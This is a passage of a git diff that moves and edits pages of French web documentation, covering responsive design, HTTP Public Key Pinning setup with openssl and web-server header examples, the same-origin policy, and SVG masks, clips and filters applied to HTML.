
+ + + + + + + +
+ Challenge
Déplacez les règles spécifiques à l'impression dans un fichier CSS séparé. +

Utilisez les liens plus haut sur cette page pour lire la spécification CSS. Trouvez-y des détails sur la façon d'importer cette nouvelle feuille CSS spécifique à l'impression dans votre feuille de style.

+

Faites en sorte que les titres deviennent bleus lorsque le pointeur de la souris passe au dessus d'eux.

+
+

 

+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

Jusqu'à présent, toutes les règles de style dans ce tutoriel ont été spécifiées dans des fichiers. Les règles et leurs valeurs sont fixées. La page suivante explique comment ces règles peuvent être changées dynamiquement à l'aide d'un langage de programmation : JavaScript.

diff --git a/files/fr/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/fr/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html new file mode 100644 index 0000000000..f29786204c --- /dev/null +++ b/files/fr/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html @@ -0,0 +1,78 @@ +--- +title: Adaptative +slug: Web/Progressive_web_apps/Adaptative +tags: + - Applications + - Design adaptatif + - Media Queries + - flexbox + - viewport +translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks +translation_of_original: Web/Progressive_web_apps/Responsive +--- +
+
Les applications web adaptatives utilisent des technologies comme les media queries et viewport pour être sûre que leur interface convient avec tout les facteurs de forme: bureau, téléphone, tablette, ou peut importe ce qui viendra après.
+ +
+
+ +

Guides

+ +
+
Les fondations du design adaptatif
+
Apprendre les bases du design adaptatif, un sujet essentiel pour l'affichage des applications web modernes.
+
Mobile avant tout (Mobile first)
+
Souvent lors de la création de l'affichage d'une application adaptative, il est judicieux de créer en premier le rendu sur téléphone mobile, et d'utiliser ce rendu comme base pour concevoir les écrans plus larges.
+
+ +

Technologies

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TechnologieDescriptionRésumé du supportDernière spécification
Media queriesPermet de définir des conditions permettant aux styles d'être appliqués aux contenus en fonction de l'affichage disponible (viewport), de la résolution, de l'orientation, etc.Répandu sur les navigateurs modernes (plus de détails)Media Queries Level 4
@viewport/viewport meta tagContrôler la configuration du viewport, principalement sur les appareils mobiles.@viewport: Expérimental (plus de détails)
+ Viewport meta tag: Répandu sur les appareils mobiles modernes		CSS Device Adaptation Module Level 1
FlexboxUne fonctionnalité CSS très utile pour créer une mise en page flexible et adaptative.Répandu sur les navigateurs modernes (plus de détail)CSS Flexible Box Layout Module Level 1
+ +

Outils

+ +
+
Modernizr
+
Une bibliothèque d'outils de détection des fonctionnalités pour appliquer différents CSS ou JS en fonctions de comment les différentes fonctionnalités CSS/JS sont supportées.
+
css3-mediaqueries-js
+
Un polyfill en JavaScript pour assurer le support de media query aux anciennes versions de IE (5+.)
+
+ +

Voir aussi

+ +
+
Graphiques dans les sites adaptatifs
+
Points à garder à l'esprit lors de la conception de graphiques pour des sites ou des applications adaptatives.
+
Modèle de navigation adaptative
+
Comment faire une interface aussi ressemblante et fonctionnelle sur téléphone mobile que sur bureau? Apprenez comment concevoir des interfaces qui changent pour s'adapter à l'écran de l'utilisateur.
+
diff --git a/files/fr/web/progressive_web_apps/securisee/index.html b/files/fr/web/progressive_web_apps/securisee/index.html deleted file mode 100644 index c5c90869f4..0000000000 --- a/files/fr/web/progressive_web_apps/securisee/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Sécurisée -slug: Web/Progressive_web_apps/Securisee -tags: - - Applications - - Applications web modernes - - Applications web progressives - - HTTPS - - Sécurité - - Web -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Safe ---- -
-
La plateforme Web fournit un mécanisme sécurisé de livraison permettant d'éviter l'infiltration et s'assurer que le contenu n'a pas été altéré - aussi longtemps que vous bénéficiez de l'avantage du HTTPS et que vous développez votre application avec la sécurité à l'esprit.
- -
-
- -

Guides

- -

Aucun document actuellement; les contributions sont les bienvenues.

- -

Technologies

- -

Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça !

- -

Outils

- -

Ajouter un lien vers un outils ou une bibliothèque utile.

- -

Voir aussi

- -

Ajouter un lien vers des informations liées.

diff --git a/files/fr/web/security/public_key_pinning/index.html b/files/fr/web/security/public_key_pinning/index.html deleted file mode 100644 index 287455b2e0..0000000000 --- a/files/fr/web/security/public_key_pinning/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: Public Key Pinning -slug: Web/Security/Public_Key_Pinning -tags: - - HTTPS - - Référence(2) - - Sécurité -translation_of: Web/HTTP/Public_Key_Pinning ---- -

L'extention Public Key Pinning pour HTTP (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques MITM avec des certificats contrefaits.

- -
-

Note : La Public Key Pinning décrite ici est différente du limité preload list based key pinning introduit dans Firefox 32.

-
- -

Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web.

- -

HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, Trust on First Use). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur.

- -

Firefox (and Chrome) désactivent la vérification de l'épinglage lorsqu'un site épinglé présentent une chaine de certificats qui se termine par un certificat racine installé par l'utilisateur (et non un certificat racine de base).

- -

Activer HPKP

- -

Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP Public-Key-Pins HTTP quand le site est accédé via HTTPS :

- -
Public-Key-Pins: pin-sha256="base64=="; max-age=expireTime [; includeSubdomains][; report-uri="reportURI"]
-
- -
-
pin-sha256
-
La chaîne de caractère entre guillemets est l’empreinte du Subject Public Key Information (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé.
-
max-age
-
Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées.
-
includeSubdomains {{ optional_inline() }}
-
Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel.
-
report-uri {{ optional_inline() }}
-
Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée.
-
- -
-

Note : La spécification actuelle impose d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas).

-
- -
-

Note : Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46.

- - -
- -

 

- -

Extraire la clé publique encodé en Base64

- -

En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64.

- -

Les commandes suivantes vous aideront à extraire la clé publique et à l'encoder en base 64 depuis le fichier d'une clé, d'un certificat ou d'un CSR (Certificate Signing Request).

- -
openssl rsa -in my-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64
- -
openssl req -in my-signing-request.csr -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
- -
openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
- -

 

- -

Exemple d'entête HPKP

- -
Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="https://www.example.net/hpkp-report"
- -

Dans cet exemple, pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=" épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE=" représente la clé de sauvegarde. max-age=5184000 dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car includeSubdomains est présent. Enfin, report-uri="https://www.example.net/hpkp-report" indique où envoyer les rapports d'erreurs de validation.

- -

 

- -

Mettre en place le header HPKP sur votre serveur web

- -

Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez.

- -
-

Note: Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur.

-
- -

Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes pin-sha256="..." :

- -

Apache

- -
Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains"
-
- -

Note : Cela demande le module mod_headers activé.

- -

Nginx

- -
add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains';
- -

Note : Cela demande le module ngx_http_headers_module.

- -

Lighttpd

- -
setenv.add-response-header  = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains")
- -

Note: Cela demande le module mod_setenv chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) :

- -
server.modules += ( "mod_setenv" )
- -

 

- -

Compatibilité des navigateurs

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("38") }}{{ CompatGeckoDesktop("35") }}{{ CompatNo()}}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChrome pour AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("35") }}{{CompatUnknown()}}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

Spécifications

- - - -

Voir également

- - diff --git a/files/fr/web/security/same-origin_policy/index.html b/files/fr/web/security/same-origin_policy/index.html new file mode 100644 index 0000000000..bcbdbe613f --- /dev/null +++ b/files/fr/web/security/same-origin_policy/index.html @@ -0,0 +1,115 @@ +--- +title: Same-origin policy +slug: Web/Security/Same_origin_policy_for_JavaScript +translation_of: Web/Security/Same-origin_policy +--- +

La same-origin policy restreint la manière dont un document ou un script chargé depuis une origine peut interagir avec une autre ressource chargée depuis une autre origine.

+ +

Définition de l'origine

+ +

Deux pages ont la même origine si le protocole, le port (si spécifié) et l'hôte sont les mêmes pour les deux pages. Le tableau suivant présente des comparaisons d'origines pour l'URL http://store.company.com/dir/page.html:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
URLRésultatMotif
http://store.company.com/dir2/other.htmlSuccès
http://store.company.com/dir/inner/another.htmlSuccès
https://store.company.com/secure.htmlÉchecProtocoles différents
http://store.company.com:81/dir/etc.htmlÉchecPort différents
http://news.company.com/dir/other.htmlÉchecHôtes différents
+ +

Voir aussi origin definition for file: URLs.

+ +

Les cookies utilisent une définition de l'origine différente de celle qui vient d'être définie.

+ +

Changer l'origine

+ +

Une page peut changer son origine dans une certaine mesure. Un script peut définir la valeur de document.domain vers un suffixe du domaine courant. S'il procéde ainsi, le domaine le plus court sera utilisé pour les prochaines vérifications d'origines. Par exemple, un script dans la page http://store.company.com/dir/other.html exécute le code suivant :

+ +
document.domain = "company.com";
+
+ +

Après l'exécution de ce code, la page passerait le test d'origine avec http://company.com/dir/page.html. Ceci-dit, il ne serait pas possible de définir document.domain à othercompany.com.

+ +

Le numéro de port est stocké par le navigateur séparément. Tout appel aux setter, y compris document.domain = document.domain entraîne l'effacement du port par la valeur null. Une page située sur company.com:8080 ne peut donc pas communiquer avec une autre située sur company.com en ne définissant que document.domain = "company.com" dans la première page. Ceci doit être fait dans les deux pages, ainsi les ports seront à null pour les deux.

+ +

Accès réseau cross-origin

+ +

La same-origin policy contrôle les interactions entre deux origines différentes, quand vous utilisez XMLHttpRequest par exemple. Ces interactions sont généralement rangées dans trois catégories :

+ +
    +
  • Écritures cross-origin généralement autorisées. Par exemple, les liens, les redirections ou les envois de formulaires. Quelques rares requêtes HTTP nécessitent preflight.
    • +
  • Embarqué cross-origin généralement autorisé. Les exemples sont listés ci-après.
    • +
  • Lectures cross-origin généralement non autorisées.
    • +
+ +

Voici quelques exemples de ressources qui peuvent être embarqués malgré leur origine incomptatible avec la same-origin policy :

+ +
    +
  • JavaScript avec <script src="..."></script>. Les messages d'erreur de syntaxe ne sont disponibles que pour les script ayant la même origine.
    • +
  • CSS avec <link rel="stylesheet" href="...">. Étant donnée la souplesse des règles de syntaxe du CSS, les CSS d'origine différentes nécessitent une entête Content-Type correcte. Les restrictions varient selon les navigateurs : IE, Firefox, Chrome, Safari et Opera.
    • +
  • Images avec <img>. Les formats d'image supportés, comprenant PNG, JPEG, GIF, BMP, SVG, ...
    • +
  • Fichiers média avec <video> et <audio>.
    • +
  • Plug-ins avec <object>, <embed> et <applet>.
    • +
  • Fonts avec @font-face. Certain navigateurs autorisent les fonts cross-origin, d'autres appliquent la same-origin policy pour les fonts.
    • +
  • N'importe quoi avec <frame> et <iframe>. Un site peut utiliser l'entête X-Frame-Options pour interdire cela depuis une page n'ayant pas la même origine.
    • +
+ +

Autoriser l'accès cross-origin

+ +

Utiliser CORS pour autoriser l'accès cross-origin.

+ +

Comment bloquer l'accès cross-origin access

+ +
    +
  • Pour interdire les écritures cross-origin writes, contrôlez dans la requête un token qui ne peut être déviné, connu sous le nom de Cross-Site Request Forgery (CSRF) token, et interdisez la lecture cross-origin des pages qui conaissent ce token.
    • +
  • Pour interdire la lecture cross-origin d'une ressource, assurez-vous qu'elle ne peut pas être embarquée.
    • +
  • Pour interdire l'embarquement (embed) d'une ressource cross-origin, assurez vous qu'elle ne peut pas être interprétée comme une des ressources embarquable vues précédemment. Dans la plupart des cas, les navigateurs ne respectent pas le Content-Type. Par exemple, pour un tag <script> pointant un document HTML, le navigateur va tenter de parser le HTML comme du JavaScript. Si votre ressource n'est pas un point d'entrée de votre site, vous pouvez également utiliser une token CSRF.
    • +
+ +

Accès script cross-origin

+ +

Les APIs JavaScript comme iframe.contentWindow, window.parent, window.open et window.opener autorisent les documents à se référencer directement entre eux. Quand deux documents n'ont pas la même origine, ces références fournissent des accès limités aux objets Window et Location.  Certains navigateurs permettent l'accès à plus de propriétés que ce que les spécifications permettent. A la place, vous pouvez utiliser window.postMessage pour communiquer entre deux documents.

+ +

Voir aussi

+ + + +
+

Original Document Information

+ +
    +
  • Author(s): Jesse Ruderman
    • +
+
+ +
{{ languages( {"ja": "Ja/Same_origin_policy_for_JavaScript", "zh-cn": "Cn/JavaScript的同源策略"} ) }}
diff --git a/files/fr/web/security/same_origin_policy_for_javascript/index.html b/files/fr/web/security/same_origin_policy_for_javascript/index.html deleted file mode 100644 index bcbdbe613f..0000000000 --- a/files/fr/web/security/same_origin_policy_for_javascript/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Same-origin policy -slug: Web/Security/Same_origin_policy_for_JavaScript -translation_of: Web/Security/Same-origin_policy ---- -

La same-origin policy restreint la manière dont un document ou un script chargé depuis une origine peut interagir avec une autre ressource chargée depuis une autre origine.

- -

Définition de l'origine

- -

Deux pages ont la même origine si le protocole, le port (si spécifié) et l'hôte sont les mêmes pour les deux pages. Le tableau suivant présente des comparaisons d'origines pour l'URL http://store.company.com/dir/page.html:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
URLRésultatMotif
http://store.company.com/dir2/other.htmlSuccès
http://store.company.com/dir/inner/another.htmlSuccès
https://store.company.com/secure.htmlÉchecProtocoles différents
http://store.company.com:81/dir/etc.htmlÉchecPort différents
http://news.company.com/dir/other.htmlÉchecHôtes différents
- -

Voir aussi origin definition for file: URLs.

- -

Les cookies utilisent une définition de l'origine différente de celle qui vient d'être définie.

- -

Changer l'origine

- -

Une page peut changer son origine dans une certaine mesure. Un script peut définir la valeur de document.domain vers un suffixe du domaine courant. S'il procéde ainsi, le domaine le plus court sera utilisé pour les prochaines vérifications d'origines. Par exemple, un script dans la page http://store.company.com/dir/other.html exécute le code suivant :

- -
document.domain = "company.com";
-
- -

Après l'exécution de ce code, la page passerait le test d'origine avec http://company.com/dir/page.html. Ceci-dit, il ne serait pas possible de définir document.domain à othercompany.com.

- -

Le numéro de port est stocké par le navigateur séparément. Tout appel aux setter, y compris document.domain = document.domain entraîne l'effacement du port par la valeur null. Une page située sur company.com:8080 ne peut donc pas communiquer avec une autre située sur company.com en ne définissant que document.domain = "company.com" dans la première page. Ceci doit être fait dans les deux pages, ainsi les ports seront à null pour les deux.

- -

Accès réseau cross-origin

- -

La same-origin policy contrôle les interactions entre deux origines différentes, quand vous utilisez XMLHttpRequest par exemple. Ces interactions sont généralement rangées dans trois catégories :

- -
    -
  • Écritures cross-origin généralement autorisées. Par exemple, les liens, les redirections ou les envois de formulaires. Quelques rares requêtes HTTP nécessitent preflight.
    • -
  • Embarqué cross-origin généralement autorisé. Les exemples sont listés ci-après.
    • -
  • Lectures cross-origin généralement non autorisées.
    • -
- -

Voici quelques exemples de ressources qui peuvent être embarqués malgré leur origine incomptatible avec la same-origin policy :

- -
    -
  • JavaScript avec <script src="..."></script>. Les messages d'erreur de syntaxe ne sont disponibles que pour les script ayant la même origine.
    • -
  • CSS avec <link rel="stylesheet" href="...">. Étant donnée la souplesse des règles de syntaxe du CSS, les CSS d'origine différentes nécessitent une entête Content-Type correcte. Les restrictions varient selon les navigateurs : IE, Firefox, Chrome, Safari et Opera.
    • -
  • Images avec <img>. Les formats d'image supportés, comprenant PNG, JPEG, GIF, BMP, SVG, ...
    • -
  • Fichiers média avec <video> et <audio>.
    • -
  • Plug-ins avec <object>, <embed> et <applet>.
    • -
  • Fonts avec @font-face. Certain navigateurs autorisent les fonts cross-origin, d'autres appliquent la same-origin policy pour les fonts.
    • -
  • N'importe quoi avec <frame> et <iframe>. Un site peut utiliser l'entête X-Frame-Options pour interdire cela depuis une page n'ayant pas la même origine.
    • -
- -

Autoriser l'accès cross-origin

- -

Utiliser CORS pour autoriser l'accès cross-origin.

- -

Comment bloquer l'accès cross-origin access

- -
    -
  • Pour interdire les écritures cross-origin writes, contrôlez dans la requête un token qui ne peut être déviné, connu sous le nom de Cross-Site Request Forgery (CSRF) token, et interdisez la lecture cross-origin des pages qui conaissent ce token.
    • -
  • Pour interdire la lecture cross-origin d'une ressource, assurez-vous qu'elle ne peut pas être embarquée.
    • -
  • Pour interdire l'embarquement (embed) d'une ressource cross-origin, assurez vous qu'elle ne peut pas être interprétée comme une des ressources embarquable vues précédemment. Dans la plupart des cas, les navigateurs ne respectent pas le Content-Type. Par exemple, pour un tag <script> pointant un document HTML, le navigateur va tenter de parser le HTML comme du JavaScript. Si votre ressource n'est pas un point d'entrée de votre site, vous pouvez également utiliser une token CSRF.
    • -
- -

Accès script cross-origin

- -

Les APIs JavaScript comme iframe.contentWindow, window.parent, window.open et window.opener autorisent les documents à se référencer directement entre eux. Quand deux documents n'ont pas la même origine, ces références fournissent des accès limités aux objets Window et Location.  Certains navigateurs permettent l'accès à plus de propriétés que ce que les spécifications permettent. A la place, vous pouvez utiliser window.postMessage pour communiquer entre deux documents.

- -

Voir aussi

- - - -
-

Original Document Information

- -
    -
  • Author(s): Jesse Ruderman
    • -
-
- -
{{ languages( {"ja": "Ja/Same_origin_policy_for_JavaScript", "zh-cn": "Cn/JavaScript的同源策略"} ) }}
diff --git a/files/fr/web/svg/application_d_effets_svg_a_du_contenu_html/index.html b/files/fr/web/svg/application_d_effets_svg_a_du_contenu_html/index.html deleted file mode 100644 index cb06ea5315..0000000000 --- a/files/fr/web/svg/application_d_effets_svg_a_du_contenu_html/index.html +++ /dev/null @@ -1,227 +0,0 @@ ---- -title: Application d'effets SVG à du contenu HTML -slug: Web/SVG/Application_d_effets_SVG_a_du_contenu_HTML -tags: - - CSS - - Guide - - HTML - - SVG -translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content ---- -

Les navigateurs modernes supportent le format SVG utilisant du CSS pour appliquer des effets graphiques au contenu HTML.

- -

Vous pouvez éditer un SVG avec du CSS, soit directement dans le document, soit dans une feuille de style externe. Il y a 3 propriétés que vous pouvez utiliser : mask, clip-path et filter.

- -
Note : Dans des fichiers externes, les références à un SVG doivent être à la même origine que le document de référence.
- -

Utilisation de SVG intégré

- -

Pour appliquer un effet CSS à un SVG, vous devez dans un premier temps créer la feuille CSS qui fait référence au SVG à éditer.

- -
<style>p { mask: url(#my-mask); }</style>
-
- -

Dans l'exemple ci-dessus, tous les paragraphes utilisent un SVG <mask> avec l'ID de my-mask.

- -

Exemple : Application d'un masque

- -

Par exemple, vous pouvez appliquer un dégradé à du contenu HTML à l'intérieur de votre document en utilisant SVG et du code CSS similaire à celui-ci :

- -
<svg height="0">
-  <mask id="mask-1">
-    <linearGradient id="gradient-1" y2="1">
-      <stop stop-color="white" offset="0"/>
-      <stop stop-opacity="0" offset="1"/>
-    </linearGradient>
-    <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/>
-    <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/>
-  </mask>
-</svg>
-
- -
.target {
-  mask: url(#mask-1);
-}
-p {
-  width: 300px;
-  border: 1px solid #000;
-  display: inline-block;
-}
- -

Notez que dans ce code CSS, le masque est spécifié à l'aide d'une URL à l'ID #mask-1, qui est l'ID du masque SVG spécifié précédemment. Tout le reste concerne le dégradé.

- -

L'application d'effet SVG à du (X)HTML est réalisé en affectant la classe cible définie ci-dessus à un élément, comme ceci :

- -
<p class="target" style="background:lime;">
-    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
-</p>
-<p>
-    Lorem ipsum dolor sit amet, consectetur adipisicing
-    <b class="target">elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua.</b>
-    Ut enim ad minim veniam.
-</p>
-
- -

L'exemple ci-dessus serait rendu avec le masque appliqué.

- -

{{EmbedLiveSample('Exemple_Application_d\'un_masque', 650, 200)}}

- -

Exemple : Rogner

- -

Cet exemple montre comment utiliser un SVG pour rogner du contenu HTML. Remarquez que même les zones cliquables (les liens) sont rognées.

- -
<p class="target" style="background:lime;">
-    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
-</p>
-<p>
-    Lorem ipsum dolor sit amet, consectetur adipisicing
-    <b class="target">elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua.</b>
-    Ut enim ad minim veniam.
-</p>
-
-<button onclick="toggleRadius()">Toggle radius</button>
-
-<svg height="0">
-  <clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox">
-    <circle cx="0.25" cy="0.25" r="0.25" id="circle"/>
-    <rect x="0.5" y="0.2" width="0.5" height="0.8"/>
-  </clipPath>
-</svg>
-
- -
.target {
-  clip-path: url(#clipping-path-1);
-}
-p {
-  width: 300px;
-  border: 1px solid #000;
-  display: inline-block;
-}
- -

Ce code crée une zone cliquable en forme de cercle et de rectangle associé à l'ID #clipping-path-1 qui est référencé dans le CSS. clip-path peut être associé à n'importe quel élément avec la classe target.

- -

Vous pouvez faire des changements en temps réel et vous rendre compte qu'ils affectent immédiatement le rendu HTML. Par exemple, vous pouvez redimensionner le cercle à l'aide du clip-path établi ci-dessus :

- -
function toggleRadius() {
-  var circle = document.getElementById("circle");
-  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
-}
-
- -

{{EmbedLiveSample('Exemple_Rogner', 650, 200)}}

- -

Exemple : Filtres

- -

Cet exemple montre comment utiliser des filtres avec un SVG. À l'aide du CSS, nous appliquons plusieurs filtres à trois éléments à la fois dans leur état normal, que quand ils sont survolés par la souris (hover).

- -
<p class="target" style="background: lime;">
-    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
-</p>
-<pre class="target">lorem</pre>
-<p>
-    Lorem ipsum dolor sit amet, consectetur adipisicing
-    <b class="target">elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua.</b>
-    Ut enim ad minim veniam.
-</p>
-
- -

N'importe quel filtre SVG peut être appliqué de cette façon. Par exemple, pour appliquer un effet de flou, vous pouvez utiliser :

- -
<svg height="0">
-  <filter id="f1">
-    <feGaussianBlur stdDeviation="3"/>
-  </filter>
-</svg>
- -

Vous pouvez aussi appliquer une matrice de transformation des couleurs :

- -
<svg height="0">
-  <filter id="f2">
-    <feColorMatrix values="0.3333 0.3333 0.3333 0 0
-                           0.3333 0.3333 0.3333 0 0
-                           0.3333 0.3333 0.3333 0 0
-                           0      0      0      1 0"/>
-  </filter>
-</svg>
-
- -

Et encore d'autres filtres :

- -
<svg height="0">
-  <filter id="f3">
-    <feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
-      order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/>
-  </filter>
-  <filter id="f4">
-    <feSpecularLighting surfaceScale="5" specularConstant="1"
-                        specularExponent="10" lighting-color="white">
-      <fePointLight x="-5000" y="-10000" z="20000"/>
-    </feSpecularLighting>
-  </filter>
-  <filter id="f5">
-    <feColorMatrix values="1 0 0 0 0
-                           0 1 0 0 0
-                           0 0 1 0 0
-                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/>
-  </filter>
-</svg>
- -

Les cinq filtres sont appliqués en utilisant le CSS suivant :

- -
p.target { filter:url(#f3); }
-p.target:hover { filter:url(#f5); }
-b.target { filter:url(#f1); }
-b.target:hover { filter:url(#f4); }
-pre.target { filter:url(#f2); }
-pre.target:hover { filter:url(#f3); }
-
- -

{{EmbedLiveSample('Exemple_Filtres', 650, 200)}}

- -

View this example live

- -

Exemple : Texte flouté

- -

Pour flouter le texte, Webkit a un filtre CSS (préfixé) appelé blur (voir aussi CSS filter). Vous pouvez obtenir le même effet en utilisant des filtres SVG.

- -
<p class="blur">Time to clean my glasses</p>
-<svg height="0">
-  <defs>
-    <filter id="wherearemyglasses" x="0" y="0">
-    <feGaussianBlur in="SourceGraphic" stdDeviation="1"/>
-    </filter>
-  </defs>
-</svg>
-
- -

Vous pouvez appliquer le filtre SVG et le filtre CSS à la même classe :

- -
.blur { filter: url(#wherearemyglasses); }
- -

{{ EmbedLiveSample('Exemple_Texte_flouté', 300, 100) }}

- -

Le floutage est un calcul assez lourd alors utilisez le avec précaution et faites particulièrement attention aux éléments scrollables ou animés.

- -

Utilisation de références externes

- -

Vous pouvez utiliser des fichiers externes pour rogner ou pour appliquer des masques et des filtres SVG, tant que cette source vient de la même origine que le document HTML auquel il est appliqué.

- -

Par exemple, si votre CSS est un fichier nommé default.css, il pourrait contenir le code ci-dessous :

- -
.target { clip-path: url(resources.svg#c1); }
- -

Le SVG est alors importé depuis un fichier nommé resources.svg, utilisant clip-path avec l'ID c1.

- -

Voir aussi

- - diff --git a/files/fr/web/svg/applying_svg_effects_to_html_content/index.html b/files/fr/web/svg/applying_svg_effects_to_html_content/index.html new file mode 100644 index 0000000000..cb06ea5315 --- /dev/null +++ b/files/fr/web/svg/applying_svg_effects_to_html_content/index.html @@ -0,0 +1,227 @@ +--- +title: Application d'effets SVG à du contenu HTML +slug: Web/SVG/Application_d_effets_SVG_a_du_contenu_HTML +tags: + - CSS + - Guide + - HTML + - SVG +translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content +--- +

Les navigateurs modernes supportent le format SVG utilisant du CSS pour appliquer des effets graphiques au contenu HTML.

+ +

Vous pouvez éditer un SVG avec du CSS, soit directement dans le document, soit dans une feuille de style externe. Il y a 3 propriétés que vous pouvez utiliser : mask, clip-path et filter.

+ +
Note : Dans des fichiers externes, les références à un SVG doivent être à la même origine que le document de référence.
+ +

Utilisation de SVG intégré

+ +

Pour appliquer un effet CSS à un SVG, vous devez dans un premier temps créer la feuille CSS qui fait référence au SVG à éditer.

+ +
<style>p { mask: url(#my-mask); }</style>
+
+ +

Dans l'exemple ci-dessus, tous les paragraphes utilisent un SVG <mask> avec l'ID de my-mask.

+ +

Exemple : Application d'un masque

+ +

Par exemple, vous pouvez appliquer un dégradé à du contenu HTML à l'intérieur de votre document en utilisant SVG et du code CSS similaire à celui-ci :

+ +
<svg height="0">
+  <mask id="mask-1">
+    <linearGradient id="gradient-1" y2="1">
+      <stop stop-color="white" offset="0"/>
+      <stop stop-opacity="0" offset="1"/>
+    </linearGradient>
+    <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/>
